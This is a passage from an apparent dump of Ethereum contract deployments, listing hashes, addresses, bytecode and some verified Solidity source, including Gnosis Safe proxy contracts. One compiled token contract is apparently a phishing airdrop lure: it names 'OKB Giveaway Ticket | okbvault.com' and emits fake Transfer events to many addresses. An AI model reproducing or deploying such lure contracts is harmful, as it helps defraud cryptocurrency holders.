35f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516102da91906105f6565b60405180910390a38080600101915050610239565b505050565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a5100060405161037a9190610969565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806103ec575060055f9054906101000a900460ff165b6103f8576002546103fa565b5f5b9050919050565b606060018054610410906108ca565b80601f016020809104026020016040519081016040528092919081815260200182805461043c906108ca565b80156104875780601f1061045e57610100808354040283529160200191610487565b820191905f5260205f20905b81548152906001019060200180831161046a57829003601f168201915b5050505050905090565b806002819055505f5b825181101561052f578281815181106104b6576104b56108fa565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61065a82610576565b810181811067ffffffffffffffff8211171561067957610678610624565b5b80604052505050565b5f61068b61060f565b90506106978282610651565b919050565b5f67ffffffffffffffff8211156106b6576106b5610624565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6106f4826106cb565b9050919050565b610704816106ea565b811461070e575f80fd5b50565b5f8135905061071f816106fb565b92915050565b5f6107376107328461069c565b610682565b9050808382526020820190506020840283018581111561075a576107596106c7565b5b835b81811015610783578061076f8882610711565b84526020840193505060208101905061075c565b5050509392505050565b5f82601f8301126107a1576107a0610620565b5b81356107b1848260208601610725565b91505092915050565b6107c3816105de565b81146107cd575f80fd5b50565b5f813590506107de816107ba565b92915050565b5f80604083850312156107fa576107f9610618565b5b5f83013567ffffffffffffffff8111156108175761081661061c565b5b6108238582860161078d565b9250506020610834858286016107d0565b9150509250929050565b5f60ff82169050919050565b6108538161083e565b82525050565b5f60208201905061086c5f83018461084a565b92915050565b5f6020828403121561088757610886610618565b5b5f61089484828501610711565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61095361094e61094984610927565b610930565b6105de565b9050919050565b61096381610939565b82525050565b5f60208201905061097c5f83018461095a565b9291505056fea2646970667358221220f580a74428f886dfdd7d234d18c0d43c3fe90327aa6b511667ed8d2a80fa439564736f6c63430008180033 | |
1 | 19,493,910 | 1e019b2f410695fc3cdb371652d1899e662b0139ba2295664164a45cb8641117 | 8340763824dc817836035f333716ccf44d7459a7215e42895baaa67f18fbc520 | 000099b4a4d3ceb370d3a8a6235d24e07a8c0000 | ee2a0343e825b2e5981851299787a679ce08216d | f616cc060c4ceed428041bffa9ce0ae9c4f61f29 | 6080604052348015600f57600080fd5b506040516101bb3803806101bb833981016040819052602c916059565b600080546001600160a01b039092166001600160a01b031992831617905560018054909116331790556087565b600060208284031215606a57600080fd5b81516001600160a01b0381168114608057600080fd5b9392505050565b610125806100966000396000f3fe6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b14609f578063d4b839921460cd575b6001546001600160a01b03163314604857600080fd5b600080546040516001600160a01b03909116906066908390369060df565b600060405180830381855af49150503d8060008114609d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60015460b1906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005460b1906001600160a01b031681565b818382376000910190815291905056fea2646970667358221220736ccf845e951824707af03941a53c8275c6b25991c8ea8d34f6c24f7bbc22e164736f6c6343000819003300000000000000000000000033c99c0323adc0b7bd4ddd2ac4d4de2c28722fb0 | 6080604052348015600f57600080fd5b506004361060325760003560e01c80638da5cb5b14609f578063d4b839921460cd575b6001546001600160a01b03163314604857600080fd5b600080546040516001600160a01b03909116906066908390369060df565b600060405180830381855af49150503d8060008114609d576040519150601f19603f3d011682016040523d82523d6000602084013e005b005b60015460b1906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b60005460b1906001600160a01b031681565b818382376000910190815291905056fea2646970667358221220736ccf845e951824707af03941a53c8275c6b25991c8ea8d34f6c24f7bbc22e164736f6c63430008190033 | |
1 | 19,493,910 | 1e019b2f410695fc3cdb371652d1899e662b0139ba2295664164a45cb8641117 | 9650d01b9ba185d6c50619400ad125a0617de59f30df5109a57a0bd351f8e60e | b1a6bf349c947a540a5fe6f1e89992acdad836ab | 8428e8d6c57de2420a62ff840bece86c4ea28723 | ee5f4d0f2ac65a5036a1ef86e3262fd62a8f510f | 608060405234801561001057600080fd5b506101d8806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631626ba7e14610030575b600080fd5b61006561003e3660046100c9565b7f1626ba7e0000000000000000000000000000000000000000000000000000000092915050565b6040517fffffffff00000000000000000000000000000000000000000000000000000000909116815260200160405180910390f35b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080604083850312156100dc57600080fd5b82359150602083013567ffffffffffffffff808211156100fb57600080fd5b818501915085601f83011261010f57600080fd5b8135818111156101215761012161009a565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019083821181831017156101675761016761009a565b8160405282815288602084870101111561018057600080fd5b826020860160208301376000602084830101528095505050505050925092905056fea2646970667358221220c84eed3ee88204a61c6d673aa561ff38b6b4430c9518de20f4308a14179b37d064736f6c634300080b0033 | 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631626ba7e14610030575b600080fd5b61006561003e3660046100c9565b7f1626ba7e0000000000000000000000000000000000000000000000000000000092915050565b6040517fffffffff00000000000000000000000000000000000000000000000000000000909116815260200160405180910390f35b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080604083850312156100dc57600080fd5b82359150602083013567ffffffffffffffff808211156100fb57600080fd5b818501915085601f83011261010f57600080fd5b8135818111156101215761012161009a565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019083821181831017156101675761016761009a565b8160405282815288602084870101111561018057600080fd5b826020860160208301376000602084830101528095505050505050925092905056fea2646970667358221220c84eed3ee88204a61c6d673aa561ff38b6b4430c9518de20f4308a14179b37d064736f6c634300080b0033 | |
1 | 19,493,910 | 1e019b2f410695fc3cdb371652d1899e662b0139ba2295664164a45cb8641117 | 9650d01b9ba185d6c50619400ad125a0617de59f30df5109a57a0bd351f8e60e | b1a6bf349c947a540a5fe6f1e89992acdad836ab | 57e037f4d2c8bea011ad8a9a5af4aaeed508650f | cc1f575b605407c573cfa89f1054920249ad20fd | 608060405234801561001057600080fd5b5060405161016f38038061016f8339818101604052602081101561003357600080fd5b50516001600160a01b03811661007a5760405162461bcd60e51b815260040180806020018281038252602481526020018061014b6024913960400191505060405180910390fd5b600080546001600160a01b039092166001600160a01b031990921691909117905560a2806100a96000396000f3fe6080604052600073ffffffffffffffffffffffffffffffffffffffff8154167fa619486e0000000000000000000000000000000000000000000000000000000082351415604e57808252602082f35b3682833781823684845af490503d82833e806067573d82fd5b503d81f3fea2646970667358221220676404d5a2e50e328cc18fc786619f9629ae43d7ff695286c941717f0a1541e564736f6c63430007060033496e76616c6964206d617374657220636f707920616464726573732070726f76696465640000000000000000000000005fc8a17dded0a4da0f9a1e44e6c26f80aa514145 | 6080604052600073ffffffffffffffffffffffffffffffffffffffff8154167fa619486e0000000000000000000000000000000000000000000000000000000082351415604e57808252602082f35b3682833781823684845af490503d82833e806067573d82fd5b503d81f3fea2646970667358221220676404d5a2e50e328cc18fc786619f9629ae43d7ff695286c941717f0a1541e564736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-or-later
// Taken from: https://github.com/gnosis/safe-contracts/blob/development/contracts/proxies/GnosisSafeProxy.sol
pragma solidity ^0.7.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title WalletProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract WalletProxy {
// masterCopy always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal masterCopy;
/// @dev Constructor function sets address of master copy contract.
/// @param _masterCopy Master copy address.
constructor(address _masterCopy)
{
require(_masterCopy != address(0), "Invalid master copy address provided");
masterCopy = _masterCopy;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback()
payable
external
{
// solium-disable-next-line security/no-inline-assembly
assembly {
let _masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _masterCopy)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) { revert(0, returndatasize()) }
return(0, returndatasize())
}
}
} |
1 | 19,493,910 | 1e019b2f410695fc3cdb371652d1899e662b0139ba2295664164a45cb8641117 | 9650d01b9ba185d6c50619400ad125a0617de59f30df5109a57a0bd351f8e60e | b1a6bf349c947a540a5fe6f1e89992acdad836ab | 8428e8d6c57de2420a62ff840bece86c4ea28723 | ee5f4d0f2ac65a5036a1ef86e3262fd62a8f510f | 608060405234801561001057600080fd5b506101d8806100206000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80631626ba7e14610030575b600080fd5b61006561003e3660046100c9565b7f1626ba7e0000000000000000000000000000000000000000000000000000000092915050565b6040517fffffffff00000000000000000000000000000000000000000000000000000000909116815260200160405180910390f35b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080604083850312156100dc57600080fd5b82359150602083013567ffffffffffffffff808211156100fb57600080fd5b818501915085601f83011261010f57600080fd5b8135818111156101215761012161009a565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019083821181831017156101675761016761009a565b8160405282815288602084870101111561018057600080fd5b826020860160208301376000602084830101528095505050505050925092905056fea2646970667358221220c84eed3ee88204a61c6d673aa561ff38b6b4430c9518de20f4308a14179b37d064736f6c634300080b0033 | 608060405234801561001057600080fd5b506004361061002b5760003560e01c80631626ba7e14610030575b600080fd5b61006561003e3660046100c9565b7f1626ba7e0000000000000000000000000000000000000000000000000000000092915050565b6040517fffffffff00000000000000000000000000000000000000000000000000000000909116815260200160405180910390f35b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080604083850312156100dc57600080fd5b82359150602083013567ffffffffffffffff808211156100fb57600080fd5b818501915085601f83011261010f57600080fd5b8135818111156101215761012161009a565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f011681019083821181831017156101675761016761009a565b8160405282815288602084870101111561018057600080fd5b826020860160208301376000602084830101528095505050505050925092905056fea2646970667358221220c84eed3ee88204a61c6d673aa561ff38b6b4430c9518de20f4308a14179b37d064736f6c634300080b0033 | |
1 | 19,493,911 | 3d4adf3e5848749f2de43ea7fbe6fb6b655629f795879ca85295f8318f8490e5 | 7f86754ba3705a536a87494a87e18929a7e7d1520649f0e2c8fdf49637fc8ad1 | b5d15ee9b9a608835156ed076ea3706e7651ddc2 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | eddc18b7f8753dcbca3318f43352910d910f19d1 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,493,911 | 3d4adf3e5848749f2de43ea7fbe6fb6b655629f795879ca85295f8318f8490e5 | 11d1233419eeb4a3784f8c2ed6b2947f7e6ce293bc1a9dd824df2eea28e6ef28 | a3baed7849cfff8124e5c946213f6c33e609573e | a3baed7849cfff8124e5c946213f6c33e609573e | d314b1b0ffc55c8f7004cbea127284d5bd978849 | 60806040525f6002557375231f58b43240c9718dd58b4967c5114342a86c60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60055f6101000a81548160ff02191690831515021790555034801562000081575f80fd5b5060405162000fc838038062000fc88339818101604052810190620000a7919062000264565b815f9081620000b791906200051e565b508060019081620000c991906200051e565b506509184e72a000600481905550505062000602565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6200014082620000f8565b810181811067ffffffffffffffff8211171562000162576200016162000108565b5b80604052505050565b5f62000176620000df565b905062000184828262000135565b919050565b5f67ffffffffffffffff821115620001a657620001a562000108565b5b620001b182620000f8565b9050602081019050919050565b5f5b83811015620001dd578082015181840152602081019050620001c0565b5f8484015250505050565b5f620001fe620001f88462000189565b6200016b565b9050828152602081018484840111156200021d576200021c620000f4565b5b6200022a848285620001be565b509392505050565b5f82601f830112620002495762000248620000f0565b5b81516200025b848260208601620001e8565b91505092915050565b5f80604083850312156200027d576200027c620000e8565b5b5f83015167ffffffffffffffff8111156200029d576200029c620000ec565b5b620002ab8582860162000232565b925050602083015167ffffffffffffffff811115620002cf57620002ce620000ec565b5b620002dd8582860162000232565b9150509250929050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806200033657607f821691505b6020821081036200034c576200034b620002f1565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302620003b07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000373565b620003bc868362000373565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6200040662000400620003fa84620003d4565b620003dd565b620003d4565b9050919050565b5f819050919050565b6200042183620003e6565b6200043962000430826200040d565b8484546200037f565b825550505050565b5f90565b6200044f62000441565b6200045c81848462000416565b505050565b5b818110156200048357620004775f8262000445565b60018101905062000462565b5050565b601f821115620004d2576200049c8162000352565b620004a78462000364565b81016020851015620004b7578190505b620004cf620004c68562000364565b83018262000461565b50505b505050565b5f82821c905092915050565b5f620004f45f1984600802620004d7565b1980831691505092915050565b5f6200050e8383620004e3565b9150826002028217905092915050565b6200052982620002e7565b67ffffffffffffffff81111562000545576200054462000108565b5b6200055182546200031e565b6200055e82828562000487565b5f60209050601f83116001811462000594575f84156200057f578287015190505b6200058b858262000501565b865550620005fa565b601f198416620005a48662000352565b5f5b82811015620005cd57848901518255600182019150602085019450602081019050620005a6565b86831015620005ed5784890151620005e9601f891682620004e3565b8355505b6001600288020188555050505b505050505050565b6109b880620006105f395ff3fe608060405234801561000f575f80fd5b5060043610610091575f3560e01c80636a627842116100645780636a627842146100f957806370a082311461011557806395d89b4114610145578063e64e765914610163578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e91906106ae565b610254565b005b61012f600480360381019061012a91906106ae565b6102c1565b60405161013c91906105f6565b60405180910390f35b61014d61033d565b60405161015a91906105be565b60405180910390f35b61017d60048036038101906101789190610843565b6103cd565b005b61019960048036038101906101949190610843565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a510006040516102b6919061093c565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610328575060055f9054906101000a900460ff165b61033457600254610336565b5f5b9050919050565b60606001805461034c906108ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610378906108ca565b80156103c35780601f1061039a576101008083540402835291602001916103c3565b820191905f5260205f20905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b806002819055505f5b825181101561048c578281815181106103f2576103f1610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161047791906105f6565b60405180910390a380806001019150506103d6565b505050565b806002819055505f5b825181101561052f578281815181106104b6576104b5610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81856020860161054e565b6105b381610576565b840191505092915050565b5f6020820190508181035f8301526105d68184610586565b905092915050565b5f819050919050565b6105f0816105de565b82525050565b5f6020820190506106095f8301846105e7565b92915050565b5f60ff82169050919050565b6106248161060f565b82525050565b5f60208201905061063d5f83018461061b565b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61067d82610654565b9050919050565b61068d81610673565b8114610697575f80fd5b50565b5f813590506106a881610684565b92915050565b5f602082840312156106c3576106c261064c565b5b5f6106d08482850161069a565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b61071382610576565b810181811067ffffffffffffffff82111715610732576107316106dd565b5b80604052505050565b5f610744610643565b9050610750828261070a565b919050565b5f67ffffffffffffffff82111561076f5761076e6106dd565b5b602082029050602081019050919050565b5f80fd5b5f61079661079184610755565b61073b565b905080838252602082019050602084028301858111156107b9576107b8610780565b5b835b818110156107e257806107ce888261069a565b8452602084019350506020810190506107bb565b5050509392505050565b5f82601f830112610800576107ff6106d9565b5b8135610810848260208601610784565b91505092915050565b610822816105de565b811461082c575f80fd5b50565b5f8135905061083d81610819565b92915050565b5f80604083850312156108595761085861064c565b5b5f83013567ffffffffffffffff81111561087657610875610650565b5b610882858286016107ec565b92505060206108938582860161082f565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806108e157607f821691505b6020821081036108f4576108f361089d565b5b50919050565b5f819050919050565b5f819050919050565b5f61092661092161091c846108fa565b610903565b6105de565b9050919050565b6109368161090c565b82525050565b5f60208201905061094f5f83018461092d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffdfea264697066735822122080363c820c282466322be79eb5944994ff8e3a2a44001b56ef6a4a649bbaf23864736f6c63430008180033000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000002421204f4b42204769766561776179205469636b6574207c206f6b627661756c742e636f6d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000224f4b42204769766561776179205469636b6574207c206f6b627661756c742e636f6d000000000000000000000000000000000000000000000000000000000000 | 608060405234801561000f575f80fd5b5060043610610091575f3560e01c80636a627842116100645780636a627842146100f957806370a082311461011557806395d89b4114610145578063e64e765914610163578063ea66696c1461017f57610091565b806306fdde031461009557806318160ddd146100b3578063313ce567146100d157806344df8e70146100ef575b5f80fd5b61009d61019b565b6040516100aa91906105be565b60405180910390f35b6100bb61022a565b6040516100c891906105f6565b60405180910390f35b6100d9610230565b6040516100e6919061062a565b60405180910390f35b6100f7610238565b005b610113600480360381019061010e91906106ae565b610254565b005b61012f600480360381019061012a91906106ae565b6102c1565b60405161013c91906105f6565b60405180910390f35b61014d61033d565b60405161015a91906105be565b60405180910390f35b61017d60048036038101906101789190610843565b6103cd565b005b61019960048036038101906101949190610843565b610491565b005b60605f80546101a9906108ca565b80601f01602080910402602001604051908101604052809291908181526020018280546101d5906108ca565b80156102205780601f106101f757610100808354040283529160200191610220565b820191905f5260205f20905b81548152906001019060200180831161020357829003601f168201915b5050505050905090565b60045481565b5f6001905090565b600160055f6101000a81548160ff021916908315150217905550565b8073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef64e8d4a510006040516102b6919061093c565b60405180910390a350565b5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480610328575060055f9054906101000a900460ff165b61033457600254610336565b5f5b9050919050565b60606001805461034c906108ca565b80601f0160208091040260200160405190810160405280929190818152602001828054610378906108ca565b80156103c35780601f1061039a576101008083540402835291602001916103c3565b820191905f5260205f20905b8154815290600101906020018083116103a657829003601f168201915b5050505050905090565b806002819055505f5b825181101561048c578281815181106103f2576103f1610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161047791906105f6565b60405180910390a380806001019150506103d6565b505050565b806002819055505f5b825181101561052f578281815181106104b6576104b5610955565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161051a91906105f6565b60405180910390a3808060010191505061049a565b505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561056b578082015181840152602081019050610550565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61059082610534565b61059a818561053e565b93506105aa81